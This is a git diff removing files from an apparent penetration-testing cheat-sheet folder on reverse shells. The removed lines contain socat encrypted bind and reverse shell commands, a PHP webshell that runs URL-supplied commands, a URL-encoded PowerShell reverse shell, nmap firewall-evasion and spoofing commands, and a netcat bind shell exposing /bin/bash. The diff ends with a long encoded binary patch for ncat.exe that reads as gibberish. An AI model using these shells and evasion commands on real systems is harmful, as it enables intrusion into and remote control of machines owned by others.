-```socat openssl::,verify=0 exec:"bash -li",pty,stderr,sigint,setsid,sane``` - -### encrypted bind shell on windows listening -* target -```socat openssl-listen::,verify=0 exec:cmd.exe,pipes``` - -### encrypted bind shell attacker connecting -```socat openssl:,cert=shell.pem,verify=0 -``` - - diff --git a/reverse shells/docs/webshell.md b/reverse shells/docs/webshell.md deleted file mode 100644 index 365c8eb..0000000 --- a/reverse shells/docs/webshell.md +++ /dev/null @@ -1,13 +0,0 @@ -# Webshell Usage - - -## Examples - -* PHP execute shellcommands inside URL parameter -```" . shell_exec($_GET["cmd"]) . ""; ?>``` - -* [PentestMonkey php-reverse-shell](https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php) - -* On windows, reverse bind shell is often easier -```powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27%27%2C%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22``` - diff --git a/reverse shells/firewalls.md b/reverse shells/firewalls.md deleted file mode 100644 index 72085cc..0000000 --- a/reverse shells/firewalls.md +++ /dev/null @@ -1,99 +0,0 @@ -# Firewall Handling - -## Types - -* Packet filtering -* Circuit level gateway -* Stateful inspection -* Proxy -* Next generation firewall -* Cloud firewall and FWaaS - -## Rules - -### Windows -```sh -netsh advfirewall firewall add rule name="muka" dir=in action=allow protocol=tcp localport=57869 -``` - -### CentOS -```sh -firewall-cmd --zone=public --add-port=57869/tcp -``` - -## Circumvention - -* IP/MAC/Port spoofing -* Fragmentation, MTU, data length -* Header modification - -### nmap - -#### Spoofing -* __Decoy__ `-D` , mixin real IP address with random adresses. Every port will be requested by any of these addresses. -```sh -sudo nmap -Pn -D 192.168.0.23,192.168.0.42,ME -F $TARGET_IP -sudo nmap -Pn -D RND,RND,ME -F $TARGET_IP -``` -* __Proxy__ -```sh -sudo nmap -Pn -F --proxies $PROXY_IP $TARGET_IP -``` -* __Spoofed MAC__ -```sh -sudo nmap -Pn -F --spoof-mac $MAC_ADDRESS $TARGET_IP -``` -* __Spoofed IP__ -```sh -sudo nmap -Pn -F -S $ATTACKER_IP $TARGET_IP -``` -* __Port Number__, select a port which is whitelisted. Frequently this is 53,80,44 -```sh -sudo nmap -F --source-port 443 $TARGET_IP -``` -* __Fragmentation__, eth header + 20 bytes header size + bytes fragments via `-f`, or 16 bytes via `-ff` -```sh -sudo nmap -Pn -F -f $TARGET_IP -``` -* __MTU__, works like fragmentation, `-f` == `--mtu 8` - -```sh -sudo nmap -Pn -F --mtu 8 -``` -* __DATA Length__, eth header + IP header + prepend padding segment size to values of bytes -```sh -sudo nmap -Pn -F --data-length 64 $TARGET_IP -``` - -#### Header Fields - -* __TTL__ -```sh -sudo nmap -Pn -F --ttl 64 $TARGET_IP -``` -* __IP OPTIONS__, `--ip-options` recordsas hex String - - * Route, `R` - * Timestamp, `T` - * Route + Timestamp, `U` - * Loose source routing, `L $IP $IP $IP` - * Strict source routing, `S $IP $IP $IP` - -* __Checksum__, craft bad checksum via `--badsum` to check errors -```sh -sudo nmap -Pn -F --badsum $TARGET_IP -``` - -#### After the FW -* __Hopping__, listen via netcat to catch that port -* __Tunneling__, relay open after passsing the firewall to connect to the closed port -```sh -nc -lvnp 443 --sh-exec "nc $TARGET_IP 25" -``` -* __Non standard ports__, open bin shell via -```sh -nc -lvnp 8888 -e /bin/bash -``` -and connect - - diff --git a/reverse shells/ncat.exe b/reverse shells/ncat.exe deleted file mode 100644 index 9a28d773a20b186c56279f051687eda489d56642..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2332672 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 